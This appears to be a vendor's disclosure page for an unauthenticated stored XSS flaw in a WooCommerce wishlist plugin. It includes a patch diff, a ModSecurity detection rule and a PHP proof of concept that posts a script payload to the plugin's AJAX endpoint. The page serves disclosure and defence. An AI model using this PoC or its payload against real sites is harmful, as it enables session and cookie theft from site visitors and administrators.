Published : November 29, 2026

CVE-2026-131838: MoreConvert Wishlist for WooCommerce <= 2.0.4 Unauthenticated Stored Cross-Site Scripting via Custom Variation Attribute PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.0.4
Patched Version 2.0.5
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-131838:

The MoreConvert Wishlist for WooCommerce plugin (versions up to and including 2.0.4) contains an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability. The flaw resides in the wlfmc_process_product_data function within includes/functions.php, specifically the handling of the ‘attribute_’ parameter. An attacker can inject arbitrary JavaScript that is stored and later executed when a user views the wishlist page. The CVSS score is 7.2 (High).

Root Cause:
The vulnerability originates in the wlfmc_process_product_data function (lines 1570-1620 of includes/functions.php). When processing product variation attributes, the code checks if the attribute is a taxonomy attribute. For non-taxonomy attributes (custom product-level attributes), it previously applied: html_entity_decode( wc_clean( wp_unslash( $value ) ), ENT_QUOTES, get_bloginfo( ‘charset’ ) ). This sequence of functions fails to properly sanitize the input because html_entity_decode reverses the HTML entity encoding performed by wc_clean, effectively reintroducing dangerous characters (e.g., , “, ‘) that can be used for XSS. The sanitized value is then stored in the wishlist data without further escaping, leading to stored XSS when rendered.

Exploitation:
An unauthenticated attacker can exploit this by sending a crafted POST request to the wishlist AJAX endpoint (likely /wp-admin/admin-ajax.php with action=wlfmc_add_to_wishlist or similar, as used by the plugin’s frontend). The attacker includes a parameter named attribute_ (where is the name of a custom product attribute marked ‘Used for Variations’). The value contains a JavaScript payload, for example: alert(document.cookie). Because the input is not properly sanitized, the payload is stored in the database. When an administrator or any user visits the wishlist page, the script executes in their browser.

Patch Analysis:
The patch (v2.0.5) changes the sanitization logic in includes/functions.php at line 1607. The vulnerable line: $sanitized_value = html_entity_decode( wc_clean( wp_unslash( $value ) ), ENT_QUOTES, get_bloginfo( ‘charset’ ) ); is replaced with: $sanitized_value = wc_clean( wp_unslash( $value ) );. By removing html_entity_decode, the patch ensures that HTML entities remain encoded, preventing the reintroduction of dangerous characters. Additionally, the patch updates the mc-wishlist-counter.php template to use htmlspecialchars with ENT_QUOTES and UTF-8 encoding for data attributes, providing defense in depth against XSS in those contexts.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive information (including cookies and authentication tokens), defacement of the website, redirection to malicious sites, or performing actions on behalf of the victim (e.g., creating new administrative users). The vulnerability is particularly severe because it is unauthenticated and affects all users who view the injected page, including administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/smart-wishlist-for-more-convert/includes/class-wlfmc-admin.php
+++ b/smart-wishlist-for-more-convert/includes/class-wlfmc-admin.php
@@ -5,7 +5,7 @@
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
  *
- * @version 2.0.3
+ * @version 2.0.5
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -30,7 +30,7 @@
 		 *
 		 * @var string
 		 */
-		public $rollback_version = '2.0.3';
+		public $rollback_version = '2.0.4';

 		/**
 		 * Minimum pro version
--- a/smart-wishlist-for-more-convert/includes/class-wlfmc.php
+++ b/smart-wishlist-for-more-convert/includes/class-wlfmc.php
@@ -4,7 +4,7 @@
  *
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
- * @version 2.0.4
+ * @version 2.0.5
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -27,7 +27,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '2.0.4';
+		public $version = '2.0.5';

 		/**
 		 * Plugin database version
--- a/smart-wishlist-for-more-convert/includes/functions.php
+++ b/smart-wishlist-for-more-convert/includes/functions.php
@@ -4,7 +4,7 @@
  *
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
- * @version 2.0.4
+ * @version 2.0.5
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -1570,6 +1570,7 @@
 	 * @param int    $quantity     The quantity of the product.
 	 *
 	 * @return array An associative array containing 'posted_data' and 'product_meta'.
+	 * @version 2.0.5
 	 */
 	function wlfmc_process_product_data( $product_type, $atts, $prod_id, $quantity ) {
 		$variations = array();
@@ -1606,7 +1607,7 @@
 							if ( $attribute['is_taxonomy'] ) {
 								$sanitized_value = sanitize_title( wp_unslash( $value ) );
 							} else {
-								$sanitized_value = html_entity_decode( wc_clean( wp_unslash( $value ) ), ENT_QUOTES, get_bloginfo( 'charset' ) );
+								$sanitized_value = wc_clean( wp_unslash( $value ) );
 							}

 							if ( ! empty( $sanitized_value ) || '0' === $sanitized_value ) {
--- a/smart-wishlist-for-more-convert/smart-wishlist-for-more-convert.php
+++ b/smart-wishlist-for-more-convert/smart-wishlist-for-more-convert.php
@@ -3,7 +3,7 @@
  * Plugin Name: MoreConvert Wishlist for WooCommerce
  * Plugin URI: https://moreconvert.com/smart-wishlist-for-more-convert
  * Description: With the MoreConvert Wishlist for WooCommerce plugin, your website users can add their favorite products to the wishlist. Then you can persuade them to buy products on their wishlist through the magic of our Marketing Toolkits.
- * Version: 2.0.4
+ * Version: 2.0.5
  * Author: MoreConvert
  * Author URI: https://moreconvert.com
  * Text Domain: wc-wlfmc-wishlist
@@ -11,11 +11,11 @@
  * Requires PHP: 7.4
  * Requires Plugins: woocommerce
  * WC requires at least: 5.8
- * WC tested up to: 11.2
+ * WC tested up to: 11.3
  *
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
- * @version 2.0.4
+ * @version 2.0.5
  */

 /**
--- a/smart-wishlist-for-more-convert/templates/mc-wishlist-counter.php
+++ b/smart-wishlist-for-more-convert/templates/mc-wishlist-counter.php
@@ -4,7 +4,7 @@
  *
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
- * @version 2.0.4
+ * @version 2.0.5
  */

 /**
@@ -72,8 +72,8 @@
 	class="wlfmc-counter-wrapper <?php echo 'unique_' . esc_attr( $unique_id ); ?> <?php echo esc_attr( $container_class ); ?> <?php echo $is_elementor ? 'is-elementor' : ''; ?> <?php echo $show_list_on_hover ? 'show-list-on-hover' : 'show-list-on-click'; ?> wlfmc-wishlist-fragment on-first-load"
 	data-id="<?php echo esc_attr( $unique_id ); ?>"
 	data-counter-type="<?php echo esc_attr( $counter_type ); ?>"
-	data-empty-icon="<?php echo esc_attr( $empty_icon_html ); ?>"
-	data-has-items-icon="<?php echo esc_attr( $has_item_icon_html ); ?>"
+	data-empty-icon="<?php echo htmlspecialchars( $empty_icon_html, ENT_QUOTES, 'UTF-8', true ); ?>"
+	data-has-items-icon="<?php echo htmlspecialchars( $has_item_icon_html, ENT_QUOTES, 'UTF-8', true ); ?>"
 	data-wishlist-url="<?php echo esc_url( $wishlist_url ); ?>"
 	data-wishlist-token="<?php echo esc_attr( $wishlist_token ); ?>"
 	data-wishlist-id="<?php echo esc_attr( $wishlist_id ); ?>"
@@ -225,9 +225,9 @@
 		data-fragment-ref="wishlist_counter"
 		data-id="<?php echo esc_attr( $unique_id ); ?>"
 		data-counter-type="<?php echo esc_attr( $counter_type ); ?>"
-		data-empty-icon="<?php echo esc_attr( $empty_icon_html ); ?>"
-		data-has-items-icon="<?php echo esc_attr( $has_item_icon_html ); ?>"
-		data-wishlist-url="<?php echo esc_url( $wishlist_url ); ?>"
+        data-empty-icon="<?php echo htmlspecialchars( $empty_icon_html, ENT_QUOTES, 'UTF-8', true ); ?>"
+        data-has-items-icon="<?php echo htmlspecialchars( $has_item_icon_html, ENT_QUOTES, 'UTF-8', true ); ?>"
+        data-wishlist-url="<?php echo esc_url( $wishlist_url ); ?>"
 		data-wishlist-token="<?php echo esc_attr( $wishlist_token ); ?>"
 		data-wishlist-id="<?php echo esc_attr( $wishlist_id ); ?>"
 		data-hide-zero="<?php echo $hide_zero_products_number ? '1' : '0'; ?>"

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-131838
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026131838,phase:2,deny,status:403,chain,msg:'CVE-2026-131838 via MoreConvert Wishlist AJAX',severity:'CRITICAL',tag:'CVE-2026-131838'"
  SecRule ARGS_POST:action "@streq wlfmc_add_to_wishlist" "chain"
    SecRule ARGS_POST:^attribute_ "@rx (<script|javascript:|onerror=|onload=)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-131838 - MoreConvert Wishlist for WooCommerce <= 2.0.4 - Unauthenticated Stored Cross-Site Scripting via Custom Variation Attribute

// Set target URL (WordPress site with vulnerable plugin)
$target_url = 'http://example.com';

// Custom variation attribute name (must exist and be used for variations)
$attribute_name = 'attribute_custom_color'; // Replace with actual attribute name

// XSS payload
$payload = '<script>alert("XSS")</script>';

// Endpoint for adding to wishlist (adjust if needed)
$endpoint = '/wp-admin/admin-ajax.php';

// POST data
$post_data = array(
    'action' => 'wlfmc_add_to_wishlist', // Verify actual action name
    'product_id' => 123, // Replace with a valid variable product ID
    'variation_id' => 456, // Replace with a valid variation ID
    $attribute_name => $payload,
    'quantity' => 1
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Response HTTP code: $http_coden";
echo "Response body: $responsen";

// The payload is now stored. Visit the wishlist page to trigger the XSS.
// Example: $target_url . '/wishlist/'
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.